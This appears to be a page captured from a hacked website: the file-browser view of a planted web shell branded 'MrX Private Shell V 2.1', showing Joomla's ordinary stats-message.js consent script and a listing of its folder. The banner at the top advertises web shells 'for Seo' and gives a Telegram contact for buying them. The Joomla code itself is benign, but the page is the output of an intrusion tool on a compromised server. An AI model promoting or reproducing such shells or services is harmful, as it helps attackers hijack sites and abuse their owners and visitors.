__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
/**
* @copyright (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
* @license GNU General Public License version 2 or later; see LICENSE.txt
* @since 3.5.0
*/
Joomla = window.Joomla || {};
((Joomla, document) => {
const allowed = {
input: ['type', 'name', 'value'],
'joomla-alert': ['type', 'dismiss', 'role'],
button: ['type'],
table: [],
tbody: [],
thead: [],
caption: [],
th: ['scope'],
tr: [],
td: []
};
const initStatsEvents = callback => {
const messageContainer = document.getElementById('system-message-container');
const joomlaAlert = messageContainer.querySelector('.js-pstats-alert');
const detailsContainer = messageContainer.querySelector('#js-pstats-data-details');
// Show details about the information being sent
document.addEventListener('click', event => {
if (event.target.classList.contains('js-pstats-btn-details')) {
event.preventDefault();
detailsContainer.classList.toggle('d-none');
}
});
// Always allow
document.addEventListener('click', event => {
if (event.target.classList.contains('js-pstats-btn-allow-always')) {
event.preventDefault();
// Remove message
joomlaAlert.close();
callback({
plugin: 'sendAlways'
});
}
});
// Never allow
document.addEventListener('click', event => {
if (event.target.classList.contains('js-pstats-btn-allow-never')) {
event.preventDefault();
// Remove message
joomlaAlert.close();
callback({
plugin: 'sendNever'
});
}
});
};
const getJson = ({
plugin = 'sendStats'
} = {}) => {
const url = `index.php?option=com_ajax&group=system&plugin=${plugin}&format=raw`;
const messageContainer = document.getElementById('system-message-container');
Joomla.request({
url,
headers: {
'Content-Type': 'application/json'
},
onSuccess: response => {
try {
const json = JSON.parse(response);
if (json && json.html) {
messageContainer.insertAdjacentHTML('beforeend', Joomla.sanitizeHtml(json.html, allowed));
messageContainer.querySelector('.js-pstats-alert').classList.remove('hidden');
initStatsEvents(getJson);
}
} catch (e) {
throw new Error(e);
}
},
onError: xhr => {
Joomla.renderMessages({
error: [xhr.response]
});
}
});
};
document.addEventListener('DOMContentLoaded', () => {
getJson();
});
})(Joomla, document);
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| stats-es5.js | File | 1.42 KB | 0664 |
|
| stats-es5.min.js | File | 770 B | 0664 |
|
| stats-es5.min.js.gz | File | 441 B | 0664 |
|
| stats-message-es5.js | File | 3.01 KB | 0664 |
|
| stats-message-es5.min.js | File | 1.58 KB | 0664 |
|
| stats-message-es5.min.js.gz | File | 818 B | 0664 |
|
| stats-message.js | File | 2.59 KB | 0664 |
|
| stats-message.min.js | File | 1.46 KB | 0664 |
|
| stats-message.min.js.gz | File | 776 B | 0664 |
|
| stats.js | File | 1.28 KB | 0664 |
|
| stats.min.js | File | 717 B | 0664 |
|
| stats.min.js.gz | File | 418 B | 0664 |
|